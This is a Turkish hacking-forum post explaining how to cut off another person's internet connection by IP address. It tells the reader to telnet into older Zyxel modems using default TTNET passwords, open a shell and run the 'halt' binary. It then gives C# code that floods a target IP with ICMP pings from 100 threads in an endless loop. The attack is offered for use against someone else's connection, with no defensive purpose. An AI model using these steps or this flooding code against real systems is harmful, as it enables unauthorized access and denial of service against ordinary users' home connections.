İp Adresinden İnterneti Kesmek

zztri

Yaşayan Forum Efsanesi
9 Tem 2015
10,053
4
390
Ankara
Yeni modemleri kesemezsin, nokta. DDOS protection var elemanlarda. Bir porttan çok kısa sürede çok fazla veri alırsa, portu kapatıveriyor gitsin. TTNET'in verdiği bütün yeni modemlerde var. Eski Zyxel modemi vardır belki karşındakinin diye, telnet ile 23. porttan bağlanmayı, standart şifreleri ile girmeyi dene.. (admin-ttnet, admin-12345)..

Girebilirsen önce "sh" deyip shell istiyorsun, ayrıca shell password isterse bu yöntem işine yaramaz, istemezse ardından "cd sbin" deyip software binary'lerinin, yani modemin kullandığı yazılımların olduğu klasöre giriyorsun, "ls" diyorsun, dosyalardan birinin adı "halt" olmalı.. Modemi durdurduğunda modem ışıkları normal yanmaya devam eder, sadece kimse bağlanamaz.. En kolay yolu bu..

Bir çok modem ICMP ping'i kabul eder.. tembelim bugün, C#'tan örnek kod vereceğim, piyasadaki bulacağın programlarım 90%'ı ya echo portuna ping gönderir, ya aslında bir halt yapmıyordur.. işe yarayanı bulana kadar uğraşırsın.. Onun yerine bence kendi kodunu yaz...

Kod:
[COLOR=DimGray]//bu hedef IP'yi programında canının istediği gibi alırsın.[/COLOR]
string hedefIP = "<hedef ip>";
[COLOR=DimGray]//ICMP paketleri maksimum 65535 byte'dır.[/COLOR]
[COLOR=DimGray]//bunun 20 byte'ı IP header'ı,[/COLOR]
[COLOR=DimGray]//8 byte'ı paket header'ı, bize 65507[/COLOR]
[COLOR=DimGray]//kalır, hepsini kullanalım derdim[/COLOR]
[COLOR=DimGray]//ama .NET Framework kendi ping[/COLOR]
[COLOR=DimGray]//class'ı içinde maksimum[/COLOR]
[COLOR=DimGray]//yaklaşık 1400 byte'a izin verir.[/COLOR]
byte[] buffer = new byte[1400];
[COLOR=DimGray]//buffer'ı rastgele dolduralım...[/COLOR]
new Random().NextBytes(buffer);
[COLOR=DimGray]//sonsuza dek, ICMP ping paketi at..[/COLOR]
[COLOR=DimGray]//bunu 100 thread ile yap...[/COLOR]
for (int i = 0; i < 100; i++) new System.Threading.Thread(delegate()
	{
[COLOR=DimGray]		//.NET Framework'ün gözünü seveyim, paketi soketi[/COLOR]
[COLOR=DimGray]		//kendimizin hazırlamasına gerek yok, elemanların[/COLOR]
[COLOR=DimGray]		//hazır class'ları var 4.0'dan itibaren. Java'cı[/COLOR]
[COLOR=DimGray]		//isen geçmiş olsun.[/COLOR]
[COLOR=DimGray]		//Kendimiz raw paket hazırlarsak daha verimli olur[/COLOR]
[COLOR=DimGray]		//ama, şu anda uğraşamayacağım..[/COLOR]
		System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping();
[COLOR=DimGray]		//Atacağımız ping'ler fragment edilemesin,[/COLOR]
[COLOR=DimGray]		//yani parça parça gönderilmelerini yasaklayalım...[/COLOR]
		System.Net.NetworkInformation.PingOptions pingSecenegi = new System.Net.NetworkInformation.PingOptions(1, true);
		while (true)
		{
			System.Net.NetworkInformation.PingReply sonuc = ping.Send(hedefIP, 10000, buffer, pingSecenegi);
[COLOR=DimGray]			//Aşağı satır kontrol için idi.. görünmesine gerek yok.[/COLOR]
[COLOR=DimGray]			//Console.WriteLine(sonuc.Status + "-" + sonuc.RoundtripTime);[/COLOR]
		}
	}).Start();
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.